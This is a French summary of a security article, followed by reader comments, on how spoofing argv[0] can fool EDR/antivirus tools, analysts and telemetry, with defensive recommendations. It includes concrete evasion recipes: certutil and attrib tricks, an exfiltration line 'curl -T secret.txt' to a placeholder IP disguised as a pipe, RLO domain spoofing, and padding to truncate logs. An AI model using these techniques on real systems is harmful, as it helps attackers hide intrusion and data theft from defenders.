Pourquoi utiliser `argv[0]` ?
(wietzebeukema.nl)- La ligne de commande est étrange
- Windows est particulièrement connu pour ce type de problème, mais la façon dont la plupart des systèmes d’exploitation implémentent la ligne de commande peut créer des problèmes de sécurité
- Cet article explique les problèmes liés à la convention qui réserve le premier argument de la ligne de commande d’un processus,
argv[0], pour représenter le nom du processus
argv[0] est un vestige du passé
- Au démarrage d’un programme, les arguments de ligne de commande sont reçus et rendus accessibles à l’intérieur du programme, et ils font effectivement partie des toutes premières informations fournies lors du lancement
- C’est un mécanisme majeur pour modifier le flux d’exécution du programme
- Si l’on regarde la famille d’appels système
execadoptée par POSIX et DOS/Win32int execv(const char *path, char *const argv[]);- Pour appeler cette fonction
execv, il faut fournir au programme le chemin complet de l’application à exécuter danspath, ainsi qu’un vecteur d’arguments dansargv, et elle renvoie un entier contenant un code d’état - Selon cette spécification, si le programme est exécuté avec succès à la suite de cet appel, le programme cible est invoqué via
int main (int argc, char *argv[]);
- Dans toutes les normes C,
argcn’est pas négatif,argv[argc]est un pointeur nul, et siargcest supérieur à 0, alorsargv[0]représente le nom du programme invoqué - Certains peuvent s’interroger sur la nécessité de
argv[0]- « Le nouveau processus connaît évidemment son propre nom, alors pourquoi faut-il le transmettre comme premier argument du processus appelant ? »
- Dans un environnement POSIX, un programme peut être invoqué via un lien symbolique, ce qui permet au nouveau processus de savoir quelle requête lui a été adressée
- Par exemple, sur Debian,
shutdownetrebootpointent vers le même exécutablesystemctl, qui se comporte différemment selon la commande appelée
- Cela ressemble à une décision de conception discutable
- « Un programme devrait-il vraiment se comporter différemment selon son propre nom ? »
- D’un point de vue moderne, cela semble réduire la prévisibilité du logiciel et aller à l’encontre des principes de conception contemporains
- Vu depuis les années 1970-1980, cela peut se comprendre comme une tentative de minimiser les duplications à une époque où les ressources informatiques étaient limitées
- Mais aujourd’hui, l’espace disque n’est plus un problème majeur. Par exemple, sur macOS Sonoma,
shutdownetrebootexistent comme exécutables distincts - Il y a débat sur le fait de savoir s’il est réellement nécessaire de fusionner deux programmes similaires en un seul fichier, ou s’il serait plus approprié d’utiliser des arguments de commande
- Même si l’on accepte ce principe, son implémentation reste elle aussi discutable
- On peut se demander si l’information de
argv[0]doit vraiment être fournie comme une partie des arguments du processus - Les programmes qui dépendent de
argv[0]peuvent échouer si le processus appelant ne le définit pas correctement - Certains programmes utilisent aussi
argv[0]de manière inappropriée sur le plan de la sécurité - Une meilleure approche consisterait à séparer
argv[0]dans une structure commetask_structou via une fonctionnalité du PEB, afin que le système d’exploitation gère cette valeur- Cela permettrait un suivi cohérent et réduirait les possibilités de manipulation
- On peut se demander si l’information de
- Le système d’exploitation qui s’en rapproche le plus est, étonnamment, Windows
- Contrairement aux autres grands systèmes d’exploitation, Windows ne définit pas
argv[0]lors de la création d’un nouveau processus - Les appels API de Windows (
CreateProcess,ShellExecute) définissent automatiquementargv[0]à partir du chemin de l’exécutable - Bien que ce soit l’implémentation la plus sensée, Windows adopte aussi l’appel POSIX
exec, ce qui laisse malgré tout une possibilité de définirargv[0]manuellement
- Contrairement aux autres grands systèmes d’exploitation, Windows ne définit pas
argv[0] est ignoré (dans la plupart des cas)
- Quelle que soit votre position sur l’importance de
argv[0], dans la pratiqueargv[0]existe et s’accompagne de problèmes - Lors d’un appel
exec, le système d’exploitation prend en charge les deux premières des trois conditions mentionnées plus haut, mais pas la dernière, liée àargv[0] - Comme l’appelant de
execcontrôle entièrementargv, il peut ignorer cette exigence, et ni le système d’exploitation ni les programmes appelant/appelé ne vérifient cette violation - Exemples d’ignorance de
argv[0]- Pour afficher Hello, world! avec
echo, on appelle généralementexecv("/usr/bin/echo", ["echo", "Hello, world!"]) - Mais si l’on appelle
execv("/usr/bin/echo", ["oopsie", "Hello, world!"]), le programmeechos’exécute quand même normalement et affiche Hello, world! - Le programme
echoignoreargv[0]et se concentre uniquement sur les arguments à partir deargv[1] - La plupart des programmes adoptent une approche similaire et ignorent
argv[0]
- Pour afficher Hello, world! avec
- Exemples de manipulation de
argv[0]- Plusieurs langages de programmation et de script, dont le C, permettent de manipuler
argv[0]:
python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])" perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"' ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')" bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here' - Plusieurs langages de programmation et de script, dont le C, permettent de manipuler
- Manipuler
argv[0]est simple et, dans la plupart des cas, cela n’affecte pas l’exécution du programme. Mais du point de vue de la sécurité, cela peut poser problème
argv[0] peut faire tomber les mécanismes de défense
argv[0]peut être utilisé pour tromper les logiciels de sécurité. Si un utilisateur malveillant compromet un système, il le manipule en exécutant les commandes de l’attaquant- Les logiciels de défense comme les AV et les EDR surveillent l’exécution des processus et détectent ou bloquent certaines commandes lorsqu’elles sont jugées nuisibles. La plupart des solutions détectent activement les commandes fréquemment utilisées par les attaquants
- Exemple : le mauvais usage de la commande
certutilcertutil, utilitaire en ligne de commande intégré à Windows, est fréquemment utilisé dans les attaques. Après un accès initial, il sert souvent à télécharger une charge utile externe- Microsoft Defender Antivirus bloque l’exécution de
certutillorsqu’il y a des arguments de ligne de commande indiquant une tentative de téléchargement de fichier. Mais si l’on lancecertutilavecargv[0]défini sur un espace, Defender ne le bloque pas - Cela illustre un problème lié au fait que la détection de sécurité considère le nom du programme comme faisant partie de la ligne de commande. Par exemple, si la logique de détection est formulée comme
command_line.contains('certutil') AND command_line.contains('-urlcache'), elle suppose quecertutilfait partie de la ligne de commande. Or, en manipulantargv[0], on peut contourner cette logique - Une logique de détection plus robuste serait formulée comme
process_path.endswith('certutil.exe') AND command_line.contains('-urlcache')
- Contournement de détection via
argv[0]- Il est aussi possible de contourner la détection en ajoutant des mots-clés de réglage dans
argv[0]. La détection combine généralement des conditions de base et des conditions supplémentaires pour filtrer les faux positifs - Par exemple, une règle de détection peut se déclencher lorsque
attrib.execache un fichier. Mais dans la pratique, il s’exécute souvent de façon légitime sur le fichierdesktop.ini - Un attaquant au courant de ce comportement peut inclure
desktop.inidansargv[0]afin d’échapper à la détection. Par exemple :argv = ['attrib_\desktop.ini', '+H', 'backdoor.exe']
- Il est aussi possible de contourner la détection en ajoutant des mots-clés de réglage dans
argv[0] permet de tromper
argv[0]peut être détourné non seulement pour tromper les logiciels de sécurité, mais aussi les personnes- Les analystes sécurité examinent les alertes générées par des outils comme les EDR, et ces alertes incluent la ligne de commande du processus concerné
- La ligne de commande d’un processus est une information essentielle pour décider s’il faut approfondir une alerte ou l’ignorer
- Exemple : tromperie via la ligne de commande
- Une alerte pour une possible exfiltration de données peut être déclenchée lorsqu’on exécute la commande
curl -T secret.txt 123.45.67.89. Cette commande envoie le fichiersecret.txtà l’adresse IP 123.45.67.89 - Dans le même scénario, si
argv[0]est modifié decurlencurl localhost | grep, la commande reste tout à fait valide - Les logiciels de sécurité affichent souvent le tableau des arguments de ligne de commande comme une chaîne séparée par des espaces. Dans ce cas, la commande risque donc d’apparaître comme
curl localhost | grep -T secret.txt 123.45.67.89 - Pour l’analyste, cela peut donner l’impression que
curl localhostest exécuté puis que son résultat est transmis àgrep -T secret.txt 123.45.67.89. En réalité, le comportement consiste toujours à envoyer des informations vers une adresse distante, mais cela peut être interprété à tort comme un téléchargement depuis une adresse locale
- Une alerte pour une possible exfiltration de données peut être déclenchée lorsqu’on exécute la commande
- Utilisation du caractère Right-To-Left Override (RLO)
- Il est possible de manipuler
argv[0]avec le célèbre caractère RLO (réordonnancement droite-gauche) - Ce caractère Unicode indique à l’application de rendu d’afficher les caractères suivants dans l’ordre inverse
- En insérant un RLO dans
argv[0], on peut faire apparaîtreping moc.elgoog.some-evil-website.comcommeping moc.etisbew-live-emos.google.com - Cette technique n’affecte pas la logique de détection, mais elle peut tromper l’analyste
- Il est possible de manipuler
- Ces techniques montrent les nombreuses façons dont
argv[0]peut être manipulé pour tromper à la fois les logiciels de sécurité et l’œil humain afin de dissimuler une activité malveillante
argv[0] peut corrompre la télémétrie
- Comme
argv[0]se trouve tout au début de la ligne de commande, le remplir avec suffisamment de caractères permet de repousser tous les autres arguments vers la fin - Cela peut poser problème pour deux raisons : d’abord, on peut « cacher » les éléments intéressants à la fin de la ligne de commande en espérant que l’analyste ne fasse pas défiler ; surtout, si la ligne de commande devient suffisamment longue, le logiciel de supervision peut tronquer les arguments réellement importants
- Limites de longueur de ligne de commande
- Depuis Windows 7, la longueur maximale d’une ligne de commande sous Windows est limitée à 14 336 caractères (environ 14 KiB)
- Dans le noyau Linux, la longueur maximale est codée en dur à 32 pages mémoire, soit environ 131 072 caractères (128 KiB) sur une architecture 64 bits
- macOS Sonoma autorise des lignes de commande allant jusqu’à 1 048 576 caractères (1 MiB)
- Cela signifie qu’il existe énormément d’espace arbitraire que
argv[0]peut occuper
- Exemples de corruption de télémétrie
- Les logiciels de supervision des processus (par exemple les EDR) peuvent enregistrer intégralement les longues lignes de commande, ou les tronquer à une longueur fixe pour réduire la surcharge
- Si les longues lignes de commande sont enregistrées en entier, il suffit de lancer 1 000 processus avec la longueur maximale pour générer 1 GiB de données de logs
- Si un tronquage est appliqué, les arguments de ligne de commande peuvent disparaître de la télémétrie. Par exemple, la commande
perl -e 'exec {"echo"} "_"x50000, "Hello, world!"'affiche “Hello, world!”, mais la télémétrie de l’exécution peut n’enregistrer qu’une suite de caractères de soulignement, voire une ligne de commande entièrement vide - En conséquence, les arguments réellement importants disparaissent, et la logique de détection comme les analystes ne peuvent plus comprendre ce qui s’est réellement passé
Les risques de argv[0] : prévention et détection
argv[0]tente de résoudre un problème, mais en crée beaucoup d’autres- Il est peu probable que
argv[0]disparaisse bientôt ; du point de vue de la sécurité, il faut donc se concentrer sur la manière de le gérer - Mesures de prévention
- Les développeurs peuvent comparer
argv[0]à leur propre nom de fichier pour vérifier s’il a été manipulé, mais cette approche passe mal à l’échelle - Le système d’exploitation pourrait effectuer ce contrôle de manière plus fiable. S’appuyer sur
argv[0]pour modifier le comportement d’un programme est fortement déconseillé - Dans la mesure du possible, il vaut mieux que les développeurs n’interagissent pas avec
argv[0]
- Les développeurs peuvent comparer
- Méthodes de détection pour les professionnels de la sécurité
- Comprendre le fonctionnement de
argv[0]et les problèmes qu’il pose est une étape importante pour prévenir les tromperies liées à la ligne de commande - Si le logiciel de sécurité fournit les arguments de ligne de commande sous forme de tableau, il est possible d’identifier certains motifs de manière fiable
- Les valeurs de
argv[0]anormalement longues, ou contenant des caractères suspects comme le symbole de pipe, devraient immédiatement être marquées comme suspectes - Même si les arguments de ligne de commande sont fournis sous forme de chaîne, on peut signaler les lignes de commande qui ne contiennent pas le nom du programme. Cela suggère que
argv[0]a été manipulé - La simple présence d’un caractère RLO constitue, dans la plupart des environnements, une méthode de détection très efficace
- Dans le cas d’arguments tronqués, il faut comprendre comment les solutions de sécurité et les data lakes les traitent, et quel impact cela a sur la télémétrie produite
- Comprendre le fonctionnement de
- Améliorations des logiciels de défense
- Les logiciels de défense devraient améliorer leur détection des abus de
argv[0]. Il devrait être possible de bloquer l’exécution d’un logiciel avec une valeur deargv[0]suspecte, sans provoquer de faux positifs - Les plateformes EDR devraient aussi envisager d’exclure
argv[0]lorsqu’elles rapportent les arguments de ligne de commande. Cela éliminerait la plupart des problèmes soulignés dans cet article, alors que sa valeur forensique reste faible dans la majorité des cas
- Les logiciels de défense devraient améliorer leur détection des abus de
- En fin de compte, personne n’a envie d’avoir des ennuis à cause de
argv[0]. Nos logiciels non plus
Le résumé de GN⁺
argv[0]est un vestige du passé, contraire aux principes de conception des logiciels modernes- La plupart des programmes ignorent
argv[0], mais cela peut créer des problèmes de sécurité argv[0]peut tromper les logiciels de sécurité et les personnes, et peut corrompre la télémétrie- Les professionnels de la sécurité doivent détecter les abus de
argv[0], et les logiciels de défense doivent mieux les prendre en charge
2 commentaires
C’est peut-être parce que je suis de la vieille école, mais je n’adhère pas vraiment à l’argument de l’auteur. Le problème, c’est
exec, et j’ai l’impression que les retombées éclaboussentargv[0].Avis Hacker News
L’opposition à la lecture de
argv[0]reflète l’ignorance de l’auteur ou la nécessité d’une défense très forteargv[0]méritent d’être envisagéesargv[0]sert de cible de liens symboliques pour des centaines de commandesDes outils qui utilisent
argv[0]permettent d’exécuter des commandes de l’hôte depuis l’intérieur d’un conteneurIl n’y a rien de problématique à ce qu’un programme se comporte différemment selon son nom
Les objections à
argv[0]soutiennent que cela va à l’encontre des principes de conception modernesargv[0]pour vérifier s’il est dans un virtualenv et ajuster le chemin de rechercheargv[0]n’est pas particulièrement mauvais du point de vue de la sécuritéargvargv[0]ne pose pas de problèmeargv[0]pour distinguer les versions d’une commandebusybox utilise
argv[0]en mode « shim »macOS configure plusieurs commandes pour qu’elles pointent vers un seul exécutable
argv[0]Supprimer
argv[0]ferait perdre des fonctionnalités utilesargv[0], les attaquants trouveraient d’autres moyens